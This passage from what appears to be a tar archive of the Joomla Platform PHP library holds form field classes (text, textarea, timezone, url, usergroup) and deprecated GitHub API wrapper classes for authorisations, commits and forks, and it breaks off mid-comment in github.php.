// Initialize some field attributes.
$maxLength = !empty($this->maxLength) ? '
maxlength="' . $this->maxLength . '"' :
'';
$extraData = array(
'maxLength' => $maxLength,
);
return array_merge($data, $extraData);
}
}
form/fields/text.php000064400000015255151171674100010465 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Supports a one line text field.
*
* @link http://www.w3.org/TR/html-markup/input.text.html#input.text
* @since 1.7.0
*/
class JFormFieldText extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Text';
/**
* The allowable maxlength of the field.
*
* @var integer
* @since 3.2
*/
protected $maxLength;
/**
* The mode of input associated with the field.
*
* @var mixed
* @since 3.2
*/
protected $inputmode;
/**
* The name of the form field direction (ltr or rtl).
*
* @var string
* @since 3.2
*/
protected $dirname;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.text';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'maxLength':
case 'dirname':
case 'inputmode':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'maxLength':
$this->maxLength = (int) $value;
break;
case 'dirname':
$value = (string) $value;
$this->dirname = ($value == $name || $value == 'true' ||
$value == '1');
break;
case 'inputmode':
$this->inputmode = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$result = parent::setup($element, $value, $group);
if ($result == true)
{
$inputmode = (string) $this->element['inputmode'];
$dirname = (string) $this->element['dirname'];
$this->inputmode = '';
$inputmode = preg_replace('/\s+/', ' ',
trim($inputmode));
$inputmode = explode(' ', $inputmode);
if (!empty($inputmode))
{
$defaultInputmode = in_array('default', $inputmode) ?
JText::_('JLIB_FORM_INPUTMODE') . ' ' : '';
foreach (array_keys($inputmode, 'default') as $key)
{
unset($inputmode[$key]);
}
$this->inputmode = $defaultInputmode . implode(' ',
$inputmode);
}
// Set the dirname.
$dirname = ((string) $dirname == 'dirname' || $dirname ==
'true' || $dirname == '1');
$this->dirname = $dirname ? $this->getName($this->fieldname .
'_dir') : false;
$this->maxLength = (int) $this->element['maxlength'];
}
return $result;
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
if ($this->element['useglobal'])
{
$component =
JFactory::getApplication()->input->getCmd('option');
// Get correct component for menu items
if ($component == 'com_menus')
{
$link = $this->form->getData()->get('link');
$uri = new JUri($link);
$component = $uri->getVar('option',
'com_menus');
}
$params = JComponentHelper::getParams($component);
$value = $params->get($this->fieldname);
// Try with global configuration
if (is_null($value))
{
$value = JFactory::getConfig()->get($this->fieldname);
}
// Try with menu configuration
if (is_null($value) &&
JFactory::getApplication()->input->getCmd('option') ==
'com_menus')
{
$value =
JComponentHelper::getParams('com_menus')->get($this->fieldname);
}
if (!is_null($value))
{
$value = (string) $value;
$this->hint = JText::sprintf('JGLOBAL_USE_GLOBAL_VALUE',
$value);
}
}
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 3.4
*/
protected function getOptions()
{
$options = array();
foreach ($this->element->children() as $option)
{
// Only add <option /> elements.
if ($option->getName() != 'option')
{
continue;
}
// Create a new option object based on the <option /> element.
$options[] = JHtml::_(
'select.option', (string) $option['value'],
JText::alt(trim((string) $option),
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)), 'value', 'text'
);
}
return $options;
}
/**
* Method to get the field suggestions.
*
* @return array The field option objects.
*
* @since 3.2
* @deprecated 4.0 Use getOptions instead
*/
protected function getSuggestions()
{
return $this->getOptions();
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$maxLength = !empty($this->maxLength) ? '
maxlength="' . $this->maxLength . '"' :
'';
$inputmode = !empty($this->inputmode) ? '
inputmode="' . $this->inputmode . '"' :
'';
$dirname = !empty($this->dirname) ? ' dirname="' .
$this->dirname . '"' : '';
/* Get the field options for the datalist.
Note: getSuggestions() is deprecated and will be changed to getOptions()
with 4.0. */
$options = (array) $this->getSuggestions();
$extraData = array(
'maxLength' => $maxLength,
'pattern' => $this->pattern,
'inputmode' => $inputmode,
'dirname' => $dirname,
'options' => $options,
);
return array_merge($data, $extraData);
}
}
form/fields/textarea.php000064400000010150151171674100011303
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Supports a multi line area for entry of plain text
*
* @link http://www.w3.org/TR/html-markup/textarea.html#textarea
* @since 1.7.0
*/
class JFormFieldTextarea extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Textarea';
/**
* The number of rows in textarea.
*
* @var mixed
* @since 3.2
*/
protected $rows;
/**
* The number of columns in textarea.
*
* @var mixed
* @since 3.2
*/
protected $columns;
/**
* The maximum number of characters in textarea.
*
* @var mixed
* @since 3.4
*/
protected $maxlength;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.textarea';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'rows':
case 'columns':
case 'maxlength':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'rows':
case 'columns':
case 'maxlength':
$this->$name = (int) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->rows = isset($this->element['rows']) ? (int)
$this->element['rows'] : false;
$this->columns = isset($this->element['cols']) ? (int)
$this->element['cols'] : false;
$this->maxlength = isset($this->element['maxlength']) ?
(int) $this->element['maxlength'] : false;
}
return $return;
}
/**
* Method to get the textarea field input markup.
* Use the rows and columns attributes to specify the dimensions of the
area.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$columns = $this->columns ? ' cols="' .
$this->columns . '"' : '';
$rows = $this->rows ? ' rows="' .
$this->rows . '"' : '';
$maxlength = $this->maxlength ? ' maxlength="' .
$this->maxlength . '"' : '';
$extraData = array(
'maxlength' => $maxlength,
'rows' => $rows,
'columns' => $columns
);
return array_merge($data, $extraData);
}
}
form/fields/timezone.php000064400000007531151171674100011331
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('groupedlist');
/**
* Form Field class for the Joomla Platform.
*
* @since 1.7.0
*/
class JFormFieldTimezone extends JFormFieldGroupedList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Timezone';
/**
* The list of available timezone groups to use.
*
* @var array
* @since 1.7.0
*/
protected static $zones = array('Africa', 'America',
'Antarctica', 'Arctic', 'Asia',
'Atlantic', 'Australia', 'Europe',
'Indian', 'Pacific');
/**
* The keyField of timezone field.
*
* @var integer
* @since 3.2
*/
protected $keyField;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'keyField':
return $this->keyField;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'keyField':
$this->keyField = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->keyField = (string) $this->element['key_field'];
}
return $return;
}
/**
* Method to get the time zone field option groups.
*
* @return array The field option objects as a nested array in groups.
*
* @since 1.7.0
*/
protected function getGroups()
{
$groups = array();
// Get the list of time zones from the server.
$zones = DateTimeZone::listIdentifiers();
// Build the group lists.
foreach ($zones as $zone)
{
// Time zones not in a group we will ignore.
if (strpos($zone, '/') === false)
{
continue;
}
// Get the group/locale from the timezone.
list ($group, $locale) = explode('/', $zone, 2);
// Only use known groups.
if (in_array($group, self::$zones))
{
// Initialize the group if necessary.
if (!isset($groups[$group]))
{
$groups[$group] = array();
}
// Only add options where a locale exists.
if (!empty($locale))
{
$groups[$group][$zone] = JHtml::_('select.option', $zone,
str_replace('_', ' ', $locale), 'value',
'text', false);
}
}
}
// Sort the group lists.
ksort($groups);
foreach ($groups as &$location)
{
sort($location);
}
// Merge any additional groups in the XML definition.
$groups = array_merge(parent::getGroups(), $groups);
return $groups;
}
}
form/fields/url.php000064400000003446151171674100010302 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('text');
/**
* Form Field class for the Joomla Platform.
* Supports a URL text field
*
* @link http://www.w3.org/TR/html-markup/input.url.html#input.url
* @see JFormRuleUrl for validation of full urls
* @since 1.7.0
*/
class JFormFieldUrl extends JFormFieldText
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Url';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.url';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.1.2 (CMS)
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$maxLength = !empty($this->maxLength) ? '
maxlength="' . $this->maxLength . '"' :
'';
// Note that the input type "url" is suitable only for external
URLs, so if internal URLs are allowed
// we have to use the input type "text" instead.
$inputType = $this->element['relative'] ?
'type="text"' : 'type="url"';
$extraData = array(
'maxLength' => $maxLength,
'inputType' => $inputType,
);
return array_merge($data, $extraData);
}
}
form/fields/usergroup.php000064400000004572151171674100011534
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Supports a nested checkbox field listing user groups.
* Multiselect is available by default.
*
* @since 1.7.0
* @deprecated 3.5
*/
class JFormFieldUsergroup extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Usergroup';
/**
* Method to get the user group field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
JLog::add('JFormFieldUsergroup is deprecated. Use
JFormFieldUserGroupList instead.', JLog::WARNING,
'deprecated');
$options = array();
$attr = '';
// Initialize some field attributes.
$attr .= !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$attr .= $this->disabled ? ' disabled' : '';
$attr .= $this->size ? ' size="' . $this->size .
'"' : '';
$attr .= $this->multiple ? ' multiple' : '';
$attr .= $this->required ? ' required
aria-required="true"' : '';
$attr .= $this->autofocus ? ' autofocus' : '';
// Initialize JavaScript field attributes.
$attr .= !empty($this->onchange) ? ' onchange="' .
$this->onchange . '"' : '';
$attr .= !empty($this->onclick) ? ' onclick="' .
$this->onclick . '"' : '';
// Iterate through the children and build an array of options.
foreach ($this->element->children() as $option)
{
// Only add <option /> elements.
if ($option->getName() != 'option')
{
continue;
}
$disabled = (string) $option['disabled'];
$disabled = ($disabled == 'true' || $disabled ==
'disabled' || $disabled == '1');
// Create a new option object based on the <option /> element.
$tmp = JHtml::_(
'select.option', (string) $option['value'],
trim((string) $option), 'value', 'text',
$disabled
);
// Set some option attributes.
$tmp->class = (string) $option['class'];
// Set some JavaScript option attributes.
$tmp->onclick = (string) $option['onclick'];
// Add the option object to the result set.
$options[] = $tmp;
}
return JHtml::_('access.usergroup', $this->name,
$this->value, $attr, $options, $this->id);
}
}
github/account.php000064400000014367151171674100010211 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Account class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubAccount extends JGithubObject
{
/**
* Method to create an authorisation.
*
* @param array $scopes A list of scopes that this authorisation is
in.
* @param string $note A note to remind you what the OAuth token is
for.
* @param string $url A URL to remind you what app the OAuth token
is for.
*
* @deprecated use authorization->create()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function createAuthorisation(array $scopes = array(), $note =
'', $url = '')
{
// Build the request path.
$path = '/authorizations';
$data = json_encode(
array('scopes' => $scopes, 'note' => $note,
'note_url' => $url)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete an authorisation
*
* @param integer $id ID of the authorisation to delete
*
* @deprecated use authorization->delete()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function deleteAuthorisation($id)
{
// Build the request path.
$path = '/authorizations/' . $id;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to edit an authorisation.
*
* @param integer $id ID of the authorisation to edit
* @param array $scopes Replaces the authorisation scopes with
these.
* @param array $addScopes A list of scopes to add to this
authorisation.
* @param array $removeScopes A list of scopes to remove from this
authorisation.
* @param string $note A note to remind you what the OAuth
token is for.
* @param string $url A URL to remind you what app the OAuth
token is for.
*
* @deprecated use authorization->edit()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
* @throws RuntimeException
*/
public function editAuthorisation($id, array $scopes = array(), array
$addScopes = array(), array $removeScopes = array(), $note = '',
$url = '')
{
// Check if more than one scopes array contains data
$scopesCount = 0;
if (!empty($scopes))
{
$scope = 'scopes';
$scopeData = $scopes;
$scopesCount++;
}
if (!empty($addScopes))
{
$scope = 'add_scopes';
$scopeData = $addScopes;
$scopesCount++;
}
if (!empty($removeScopes))
{
$scope = 'remove_scopes';
$scopeData = $removeScopes;
$scopesCount++;
}
// Only allowed to send data for one scope parameter
if ($scopesCount >= 2)
{
throw new RuntimeException('You can only send one scope key in this
request.');
}
// Build the request path.
$path = '/authorizations/' . $id;
$data = json_encode(
array(
$scope => $scopeData,
'note' => $note,
'note_url' => $url,
)
);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get details about an authorised application for the
authenticated user.
*
* @param integer $id ID of the authorisation to retrieve
*
* @deprecated use authorization->get()
*
* @return object
*
* @since 3.1.4
* @note This method will only accept Basic Authentication
* @throws DomainException
*/
public function getAuthorisation($id)
{
// Build the request path.
$path = '/authorizations/' . $id;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get the authorised applications for the authenticated user.
*
* @deprecated use authorization->getList()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
* @note This method will only accept Basic Authentication
*/
public function getAuthorisations()
{
// Build the request path.
$path = '/authorizations';
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get the rate limit for the authenticated user.
*
* @deprecated use authorization->getRateLimit()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function getRateLimit()
{
// Build the request path.
$path = '/rate_limit';
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
github/commits.php000064400000025610151171674100010221 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Commits class for the Joomla Platform.
*
* @since 3.0.0
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubCommits extends JGithubObject
{
/**
* Method to create a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $message The commit message.
* @param string $tree SHA of the tree object this commit points
to.
* @param array $parents Array of the SHAs of the commits that were
the parents of this commit.
* If omitted or empty, the commit will be
written as a root commit.
* For a single parent, an array of one SHA
should be provided.
* For a merge commit, an array of more than
one should be provided.
*
* @deprecated use data->commits->create()
*
* @return object
*
* @since 3.0.0
*/
public function create($user, $repo, $message, $tree, array $parents =
array())
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/commits';
$data = json_encode(
array('message' => $message, 'tree' => $tree,
'parents' => $parents)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to create a comment on a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA of the commit to comment on.
* @param string $comment The text of the comment.
* @param integer $line The line number of the commit to comment
on.
* @param string $filepath A relative path to the file to comment on
within the commit.
* @param integer $position Line index in the diff to comment on.
*
* @deprecated use repositories->comments->create()
*
* @return object
*
* @since 3.0.0
*/
public function createCommitComment($user, $repo, $sha, $comment, $line,
$filepath, $position)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits/' . $sha . '/comments';
$data = json_encode(
array(
'body' => $comment,
'commit_id' => $sha,
'line' => (int) $line,
'path' => $filepath,
'position' => (int) $position,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete a comment on a commit.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $id The ID of the comment to edit.
*
* @deprecated use repositories->comments->delete()
*
* @return object
*
* @since 3.0.0
*/
public function deleteCommitComment($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments/' . $id;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to edit a comment on a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $id The ID of the comment to edit.
* @param string $comment The text of the comment.
*
* @deprecated use repositories->comments->edit()
*
* @return object
*
* @since 3.0.0
*/
public function editCommitComment($user, $repo, $id, $comment)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments/' . $id;
$data = json_encode(
array(
'body' => $comment,
)
);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a single commit for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA of the commit to retrieve.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use repositories->commits->get()
*
* @return array
*
* @since 3.0.0
*/
public function getCommit($user, $repo, $sha, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits/' . $sha;
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a single comment on a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the comment to retrieve
*
* @deprecated use repositories->comments->get()
*
* @return array
*
* @since 3.0.0
*/
public function getCommitComment($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments/' . $id;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of comments for a single commit for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA of the commit to retrieve.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use repositories->comments->getList()
*
* @return array
*
* @since 3.0.0
*/
public function getCommitComments($user, $repo, $sha, $page = 0, $limit =
0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits/' . $sha . '/comments';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a diff for two commits.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $base The base of the diff, either a commit SHA or
branch.
* @param string $head The head of the diff, either a commit SHA or
branch.
*
* @deprecated use repositories->commits->compare()
*
* @return array
*
* @since 3.0.0
*/
public function getDiff($user, $repo, $base, $head)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/compare/' . $base . '...' . $head;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list commits for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use repositories->commits->getList()
*
* @return array
*
* @since 3.0.0
*/
public function getList($user, $repo, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of commit comments for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use repositories->comments->getListRepository()
*
* @return array
*
* @since 3.0.0
*/
public function getListComments($user, $repo, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
github/forks.php000064400000004716151171674100007676 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Forks class for the Joomla Platform.
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubForks extends JGithubObject
{
/**
* Method to fork a repository.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $org The organization to fork the repo into. By
default it is forked to the current user.
*
* @deprecated use repositories->forks->create()
*
* @return object
*
* @since 2.5.0
* @throws DomainException
*/
public function create($user, $repo, $org = '')
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/forks';
if (strlen($org) > 0)
{
$data = json_encode(
array('org' => $org)
);
}
else
{
$data = json_encode(array());
}
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 202)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list forks for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use repositories->forks->getList()
*
* @return array
*
* @since 2.5.0
* @throws DomainException
*/
public function getList($user, $repo, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/forks';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
github/github.php000064400000011773151171674100010035 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with a GitHub server instance.
*
* @property-read JGithubPackageActivity $activity GitHub API
object for activity.
* @property-read JGithubPackageAuthorization $authorization GitHub API
object for authorizations.
* @property-read JGithubPackageData $data GitHub API
object for data.
* @property-read JGithubPackageGists $gists GitHub API
object for gists.
* @property-read JGithubPackageGitignore $gitignore GitHub API
object for gitignore.
* @property-read JGithubPackageIssues $issues GitHub API
object for issues.
* @property-read JGithubPackageMarkdown $markdown GitHub API
object for markdown.
* @property-read JGithubPackageOrgs $orgs GitHub API
object for orgs.
* @property-read JGithubPackagePulls $pulls GitHub API
object for pulls.
* @property-read JGithubPackageRepositories $repositories GitHub API
object for repositories.
* @property-read JGithubPackageSearch $search GitHub API
object for search.
* @property-read JGithubPackageUsers $users GitHub API
object for users.
*
* @property-read JGithubRefs $refs Deprecated GitHub API
object for referencess.
* @property-read JGithubForks $forks Deprecated GitHub API
object for forks.
* @property-read JGithubCommits $commits Deprecated GitHub API
object for commits.
